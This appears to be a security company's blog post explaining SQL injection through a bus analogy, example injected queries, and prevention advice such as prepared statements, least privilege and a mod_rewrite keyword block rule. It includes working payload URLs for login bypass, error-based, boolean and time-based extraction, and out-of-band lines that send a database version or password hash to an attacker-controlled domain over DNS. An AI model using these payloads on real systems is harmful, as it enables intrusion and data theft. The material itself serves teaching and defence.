SQL Injection Vulnerability & How to Prevent it? | Devstringx Technologies

Introduction: SQL injection is an attack technique that exploits a security vulnerability occurring in the database layer of application. Hackers use injection to obtain unauthorized access to the underlying data, structure, and DBMS. By using an SQL injection an attacker can embed malicious code in a poorly-designed application and then passed to the back end database. The malicious data after that produces database query results or action that should never have been executed.

What is An SQL Injection Vulnerability? Within this blog we are trying to shed light on the technical aspects of SQL injection and what you can do to effectively avoid them.

Non-Technical Explanation of the SQL Injection Vulnerability:

Imagine a fully-automatic bus that works flow based on instructions given by humans through a standard web form. That form might look like this:

Sample Populated Form

Drive through route 66 and stop at bus stops if there are people at the bus stops.

Values in bold are provided by humans and instruct the bus. Imagine one scenario where someone manages to send these instructions:

Drive through route 66 and do not stop at bus stops and ignore the rest of this form. if there are people at the bus stops.

The bus is fully-automated. It does exactly as instructed: it drives up Route 66 and does not stop at any bus stop, even when there are people waiting. Such an injection is possible because the query structures and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data, it simply parses anything its fed. SQL injection vulnerabilities are based on the same concept. Attackers can inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.

As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into a SQL statement. To fully understand the issue, we first have to understand how server-side scripting language handles SQL queries.

For example, let’s check functionality in the web application generates a string with the following SQL statement:

$statement = “SELECT * FROM users WHERE username = ‘test’ AND password = ‘testing@123′”;

This SQL statement is passed to a function that sends the strings to the connected database where it is parsed, executed and returns a result.

As you might have noticed the above statement contains some special characters:

• * (asterisk) is an instruction for SQL database to return all columns for the selected database row
• = (equals) is an instruction for SQL database to only return values that match the searched string
• ‘ (single quote mark) is used to tell SQL database where the search string starts or ends

Now consider the following example in which a website user is able to change the value of ‘$user’ and ‘$password’, such as in a login form:

$statement = “SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$password’”;

An attacker can easily do insert any special SQL syntax inside the statement, if the input is not sanitized by the application:

$statement = “SELECT * FROM users WHERE username = ‘admin’; — ‘ AND password

= ‘anything’”;

= ‘anything’”;

What is happening here? The green part (admin’; -) is the input of attacker, which contains two new, special characters:

• ; (semicolon) is used to instruct the SQL parser that the current statement has ended (not necessary in most of the cases)
• - (double hyphen) instructs SQL parser that the rest of the line is a comment and should not be executed

This SQL injection effectively removes the password verification, and returns a data set for an existing user — ‘admin’ in this case. The attacker can now log in with an admin account, without having to specify a password.

The Different Types of SQL Injection Vulnerability: Attackers can exfiltrated data from servers by exploiting SQL Injection vulnerabilities in different ways. Common methods include retrieving data based on: error, condition (True/False) and timing . Let’s look at the variants.

Error-Based SQL Injection

When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from visible database error.

Error-Based SQL Injection Example

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

Duplicate entry ‘database1’ for key ‘group_key’

The same method works for table name and content. Disabling error messages on production systems help to prevent attackers from gathering such information.

Boolean-Based SQL Injection:

Sometimes there is no visible error message on the page when an SQL query fails during execution, making it difficult for an attacker to get information from the vulnerable applications. However there is still a way to explore information.

When SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow an attacker to determine whether the input parameter is vulnerable and whether it allows extraction of data.

Attacker can test for this by inserting a condition into an SQL query:

https://example.com/index.php?id=1+AND+1=1

If the page load as usual, it might indicate that it is vulnerable to an SQL Injection. To be sure, an attacker typically tries to provoke a wrong result using something like this:

https://example.com/index.php?id=1+AND+1=2

Since the condition is wrong, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to an SQL injections.

Here is an example of how to extract data in this way:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)

With this URL request, the page should load as usual if the database version is 5.X. But, it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to an SQL injection.

Time-Based SQL Injection

In some scenarios, even though a vulnerable SQL statement does not have any visible effect on the output of the page, it might be possible to extract information from an underlying database.

Hackers determine by instructing the database to wait a stated amount of time before responding. If the targeted page is not vulnerable, it will load fast; if it is vulnerable it will take longer than usual to load. This enables attackers to extract the data, even though there are no visible changes on the page. The SQL syntax might be similar to the one used in the Boolean-Based SQL Injection Vulnerability.

But to set a measurable wait time, the ‘true’ function is changed to something that takes some time to execute, such as wait (3)’ which instructs the database to wait for three seconds:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)

If the page takes longer than usual to load it is safe to assume that database version is 5.X.

Out-of-Band SQL Injection Vulnerability:

Sometimes the only way an attacker can retrieve information from the database is to use out-of-band techniques. Generally such types of attacks involve sending the data directly from database server to a machine that is controlled by the attacker. Attackers might use this method if an injection does not occur directly after supplied data is inserted, but at a later point in time.

Out-of-Band Example

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),’example.com\\’)))

https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec(‘xp_fileexist “\\’ + @pass + ‘.example.com\c$\boot.ini”’)

In these types of requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the sub domain. That means that the attacker does not need to see the result of the injection, but can wait until the database server sent a request instead.

Impacts of SQL Injection Vulnerability:

There are a number of things an attacker can do when exploiting a SQL injection on vulnerable websites. Usually, it depends on the privileges of the user the web based application uses to connect to the database server. By exploiting an SQL injection vulnerability, an attacker can do:

• Add, delete, edit or read content in the databases
• Read source codes from files on the database server
• Write files to the database servers

It all depends on the capabilities of the attackers, but the exploitation of a SQL injection vulnerability can even lead to a complete takeover of database and web server. A good way to prevent damages to restrict access as much as possible (for example, do not connect to the database using the sa or root account). It is also sensible to have different databases for different purposes (for example, separating the database for the shop system and the support forum of your website).

Preventing SQL Injection Vulnerabilities: Server-side scripting languages are not able to determine whether the SQL queries string is malformed. All they can do is send a string to the database server and wait for the interpreted responses.

Surely, there must be a way to simply sanitize users input and ensure a SQL injections is infeasible. Unfortunately, that is not always the case. There might be many numbers of ways to sanitize user input, from globally applying to PHP’s addslashes() to everything (which may yield undesirable results), all the way down to applying the sanitization to “clean” variables at the same time of assembling the SQL query itself, such as wrapping the above $_GET[‘id’] in PHP’s mysql_escape_string() function. However, when applying to sanitization at the query itself is a very poor coding practice and difficult to maintain or keep track of. It is where database systems have employed the use of prepared statements.

Using Prepared Statements as SQL Injection Prevention

When you think about prepared statements, think of how printf works and how it formats strings. Literally, you assemble your string with placeholders for the data to be inserted, and apply the data in the same sequence as placeholders. SQL prepared a statement to operate on with a very similar concept, where instead of directly assembling our query string and executing it, you store a prepared statement, feed it with the data, and its assemble and sanitizes it for you upon execution. Great! Now there should not be any other SQL injection again. So why, then, SQL injection attacks still constantly one of the biggest and most prevalent attack methods?

Insecure SQL Queries are a Problem Simply put, it may be boils down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries). In the above example, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.

Example and Explanation of an SQL Prepared Statements:

However, with prepared statements, there are multiple steps. No major database system operates like printf. MySQL directly requires at least two commands which are PREPARE and EXECUTE. PHP, via the PDO library also require a similar stacking approaches, such as the following:

$stmt = $dbh->prepare(“SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?”);

$stmt->execute(array($username, $password));

At first glance, this is not inherently problematic and, on average, increases each SQL query by only an extra one line or two lines. However, as it required extra caution and efforts on behalf of already tired and taxed developers, often times they may get a little lazy and cut corners, opting instead to just use the easy procedural mysql_query() as opposed to more advanced object-oriented PDO prepare().

Beside this many developers just stick with what they know to get the job done and they generally learn the easiest and most straightforward way to execute the SQL queries rather than showing genuine interest in improving what they know exactly. But this may also be an issue of lack of awareness.

Non Development Related SQL Injection Protection:

Running Updated Software First and foremost in your system, always make sure you are running the most up-to-date software you can. If you are using WordPress or any other CMS framework, keep it updated to use. The same goes for PHP, your web server software such as Apache and nginx and your database server (MySQL, Postgres, or others). The more recent versions of your software is, the less chance of having a vulnerability, or at least a widely-known one. It also extends down to our other software as well, such as SSH, OpenSSL, Postfix, and even the operating system itself.

Block URLs at Web Server Next Level, you should employ methods to ensure you are as minimum vulnerable to potential SQL injection attack as possible. You may go for a quick and easy match against common SQL query keywords in URLs and just simply block them. For example, if you ran Apache as your web server, you could use the following two mod_rewrite lines in your VirtualHost directive, as explained below:

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]

RewriteRule (.*) — [F]

It is indeed quite clever, but it does not protect against everything. The SQL injection parameters can still be passed via POST value or other RESTful-type URLs, not to mention there are different ways.

The Truth About SQL Injection Web Vulnerability:

Even though we provided examples of how to prevent exploitation of SQL Injection vulnerabilities, there is no magic wand.

However PHP is attempting a new, aggressive approach. Since PHP 5.5, procedural MySQL has been deprecated and will be soon removed entirely. It means that in future software projects need to be switched to either MySQLi or PDO MySQL in order to continue to work. It is a positive development, since it forces developers into a system that handles prepared statements with relative ease — though it still requires stacking a few operations. However, some developers adopt a ‘code golf’ style, most of the unfortunately will still choose for a single-line simple query over a two-line prepared statements.

There are some options it can account for developments shortcomings, including but not limited to: privilege limitations, data separation, web application firewalls, and many other approaches. But still these options are employed as consistently as SQL injection attacks. This may never be the case that injection-style attacks escape OWASP’s Top 10 list. Be the final changes that are needed to ensure data and web application security, and keep your databases safe from SQL injections through our Security Testing services.

Originally published at https://www.devstringx.com on February 27, 2020.